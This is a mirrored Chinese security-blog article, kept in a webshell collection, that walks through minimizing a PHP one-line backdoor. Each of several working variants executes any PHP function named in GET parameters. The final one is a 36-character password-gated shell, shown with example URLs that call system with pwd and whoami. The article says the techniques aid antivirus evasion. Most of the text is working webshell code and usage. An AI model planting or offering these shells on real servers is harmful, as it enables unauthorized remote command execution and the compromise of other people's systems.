mirror of
https://github.com/tennc/webshell
synced 2024-11-25 20:50:18 +00:00
127 lines
4 KiB
Markdown
127 lines
4 KiB
Markdown
|
# 一句话木马的精简史
|
|||
|
=========
|
|||
|
|
|||
|
原创 lwjs [信安之路](javascript:void(0);)
|
|||
|
|
|||
|
**信安之路**
|
|||
|
|
|||
|
微信号 xazlsec
|
|||
|
|
|||
|
功能介绍 坚持原创,专注信息安全技术和经验的分享,致力于帮助十万初学者入门信息安全行业,为信息安全事业奋斗终身。
|
|||
|
|
|||
|
_2022-08-25 09:52_ _发表于山西_
|
|||
|
|
|||
|
收录于合集
|
|||
|
|
|||
|
今天来看看如何精简一个 php 后门,基于 php 的特性,让 php 后门的字节最小化,首先编写一个一句话后门:
|
|||
|
|
|||
|
```php
|
|||
|
<?php
|
|||
|
$function = $_GET['function'];
|
|||
|
$argument = $_GET['argument'];
|
|||
|
$function($argument)
|
|||
|
?>
|
|||
|
```
|
|||
|
|
|||
|
使用方式(function 参数是要执行的函数名,比如 exec、eval、system 等执行命令的函数,argument 为函数的参数,根据不同的函数,使用的参数不同):
|
|||
|
|
|||
|
> http://example.com/shell.php?function=system&argument=pwd
|
|||
|
|
|||
|
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8oDA0LJdT31XSYxZpJiczg8UpyVRHrUWFXFmibbichc2DybyR7xdg6Cs3Q/640?wx_fmt=png)
|
|||
|
|
|||
|
目前该 webshell 的大小为 98 字节:
|
|||
|
|
|||
|
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8jf9U1R6J6UHu4pDmMkM1Yz3vLliaeH8zmDwqJO2a30KRemicViby9xAOw/640?wx_fmt=png)
|
|||
|
|
|||
|
我们看到 shell 中的变量名和参数名都比较长,直接可以缩减为一个字符,比如:
|
|||
|
|
|||
|
```php
|
|||
|
<?php
|
|||
|
$f = $_GET['f'];
|
|||
|
$a = $_GET['a'];
|
|||
|
$f($a)
|
|||
|
?>
|
|||
|
```
|
|||
|
|
|||
|
对于 PHP 来说,结束标签 `?>` 也可以不要,然后将变量名也缩减掉之后变成:
|
|||
|
|
|||
|
```php
|
|||
|
<?php
|
|||
|
$_GET['f']($_GET['a']);
|
|||
|
```
|
|||
|
|
|||
|
当前脚本的大小已经缩减到了 34 个字符,测试下是否可用:
|
|||
|
|
|||
|
> http://example.com/shell.php?f=system&a=pwd
|
|||
|
|
|||
|
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8RP9mQbba1gyH47sx6QLs4mzHjIMZ2dXAZ67R9AYANWs41LsYu9CVibw/640?wx_fmt=png)
|
|||
|
|
|||
|
现在有个问题,没有设置密码,任何人都可以使用这个 shell,现在需要增加一个访问密码:
|
|||
|
|
|||
|
```php
|
|||
|
<?php
|
|||
|
if ($_GET['p']=='password'){
|
|||
|
$_GET['f']($_GET['a']);
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
使用时在参数中增加 `p=password` 即可:
|
|||
|
|
|||
|
> http://example.com/shell3.php?f=system&a=pwd&p=password
|
|||
|
|
|||
|
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8av3mmVOyyDRNTZxX5icTSfJ381qLZsMlxFBYQXibJGF16ZXGcz55TEibw/640?wx_fmt=png)
|
|||
|
|
|||
|
增加了密码功能之后,后门大小变成了 64 字节,还能再进行缩减吗?
|
|||
|
|
|||
|
对于 php 而言,存在一种叫三元运算符的东西,比如正常写 `if else`:
|
|||
|
|
|||
|
> if ($movie == ‘marvel’){echo ‘y’} else{‘n’}
|
|||
|
|
|||
|
使用三元运算符之后的写法:
|
|||
|
|
|||
|
> ($movie == ‘marvel’ ? echo ‘y’ : echo ‘n’)
|
|||
|
|
|||
|
应用到我们的 shell 中,变成了:
|
|||
|
|
|||
|
```php
|
|||
|
<?php
|
|||
|
($_GET['p']=='password')?$_GET['f']($_GET['a']):y);
|
|||
|
```
|
|||
|
|
|||
|
然后密码可以设置短点,比如 `_`,然后将换行符等空白符尽可能去掉:
|
|||
|
|
|||
|
```php
|
|||
|
<?php ($_GET['p']=='_'?$_GET['f']($_GET['a']):y);
|
|||
|
```
|
|||
|
|
|||
|
当前字节数只剩下了 50 个,我们还可以利用 && 先执行密码验证后执行命令的方式,如果密码验证失败这该脚本执行结束,最后变为:
|
|||
|
|
|||
|
```php
|
|||
|
<?php $_GET['p']=='_'&&$_GET['f']($_GET['a']);
|
|||
|
```
|
|||
|
|
|||
|
现在这个 shell 字节已经缩减到 47 个,php 还有一个特性 `<?php` 与 `<?=` 等价,又可用缩减两个字节:
|
|||
|
|
|||
|
```php
|
|||
|
<?=$_GET['p']=='_'&&$_GET['f']($_GET['a']);
|
|||
|
```
|
|||
|
|
|||
|
最后,php 允许 `$_GET[f]` 这样的写法, 所以我们可以将 shell 中的单引号都去掉,又能减少 8 个字符:
|
|||
|
|
|||
|
```php
|
|||
|
<?=$_GET[p]==_&&$_GET[f]($_GET[a]);
|
|||
|
```
|
|||
|
|
|||
|
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8acbb9vicUUYGejRmCvhHBYIyATu6ttOVZeVYRrRYpXhauHxOCR6qDJg/640?wx_fmt=png)
|
|||
|
|
|||
|
缩减到最后的 shell 只有 36 个字符,测试下是否可以正常使用:
|
|||
|
|
|||
|
> http://example.com/shell7php?f=system&a=whoami&p=\_
|
|||
|
|
|||
|
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8vNoKzO4hzePU4tkXBtXuH0EQITaBgTrbibEmXBCPsvrQOoxWgNp9iaPg/640?wx_fmt=png)
|
|||
|
|
|||
|
经过一系列的操作,webshell 获得了极大的缩减,其中包含了多个 PHP 脚本的特性,这些特性对于后续的 webshel 免杀会有极大的帮助,极具学习的价值。
|
|||
|
|
|||
|
|
|||
|
|